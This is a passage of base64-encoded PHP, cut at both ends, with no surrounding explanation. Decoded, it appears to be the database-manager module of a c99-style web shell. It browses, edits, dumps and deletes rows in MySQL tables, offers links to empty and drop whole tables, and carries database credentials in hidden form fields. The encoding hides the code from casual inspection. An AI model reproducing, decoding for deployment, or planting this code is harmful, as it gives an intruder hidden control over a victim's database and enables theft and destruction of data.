4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7fQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcGxheSkgew0KICAgIGlmICghZW1wdHkoJHNxbF90YmwpKSB7DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c2UiO30NCiAgICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOw0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsNCiAgICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9DQogICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyRzcWxfdGJsX3BhZ2UgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOw0KICAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQ0KICAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7DQogICAgICBpZiAoY291bnQoJGUpID09IDIpIHsNCiAgICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9DQogICAgICAgIGVsc2UgeyRhc2NfZGVzYyA9ICJBU0MiO30NCiAgICAgICAgJHYgPSAiT1JERVIgQlkgYCIuJGVbMV0uImAgIi4kYXNjX2Rlc2MuIiAiOw0KICAgICAgfQ0KICAgICAgZWxzZSB7JHYgPSAiIjt9DQogICAgICAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCAiLiR2LiJMSU1JVCAiLiRzcWxfdGJsX2xzLiIgLCAiLiRwZXJwYWdlLiIiOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9c3RydWN0dXJlXCI+WzxiPiBTdHJ1Y3R1cmUgPC9iPl08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1icm93c2VcIj5bPGI+IEJyb3dzZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9hY3Q9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1pbnNlcnRcIj5bJm5ic3A7PGI+SW5zZXJ0PC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKSB7DQogICAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpIHsgIH0gLy9Ob3QgUmVhZHkNCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOw0KICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOw0KICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7DQogICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCiAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9DQogICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0YWJsZSB3aWR0aD1cIjElXCIgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpIHsNCiAgICAgICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQ0KICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKSB7DQogICAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsNCiAgICAgICAgJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOw0KICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICAgIGVjaG8gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOw0KICAgICAgICAkYiA9IDA7DQogICAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7DQogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9DQogICAgICAgICAgZWNobyAkaTsNCiAgICAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30NCiAgICAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQ0KICAgICAgICB9DQogICAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7DQogICAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4iOw0KICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsNCiAgICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgew0KICAgICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLiRtLiJcIj48L2E+Ijt9DQogICAgICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgICB9DQogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAkdyA9ICIiOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fQ0KICAgICAgIGlmIChjb3VudCgkcm93KSA+IDApIHskdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7fQ0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KQ0KICAgICAgIHsNCiAgICAgICAgJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsNCiAgICAgICAgaWYgKCR2ID09ICIiKSB7JHYgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk5VTEw8L2ZvbnQ+Ijt9DQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7DQogICAgICAgICRpKys7DQogICAgICAgfQ0KICAgICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEZWxldGVcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX2FjdD1pbnNlcnQmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2luc2VydF9xPSIudXJsZW5jb2RlKCR3KS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJFZGl0XCIgaGVpZ2h0PVwiMTRcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICB9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOw0KICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgICRpID0gMDsNCiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgIHsNCiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsNCiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOw0KICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOw0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4iXCI+PGI+Ii4kcm93WyJOYW1lIl0uIjwvYj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIkNyZWF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkVtcHR5XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii4kcm93WyJOYW1lIl0uIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9pbnNlcnRcIiBhbHQ9XCJJbnNlcnRcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPis8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8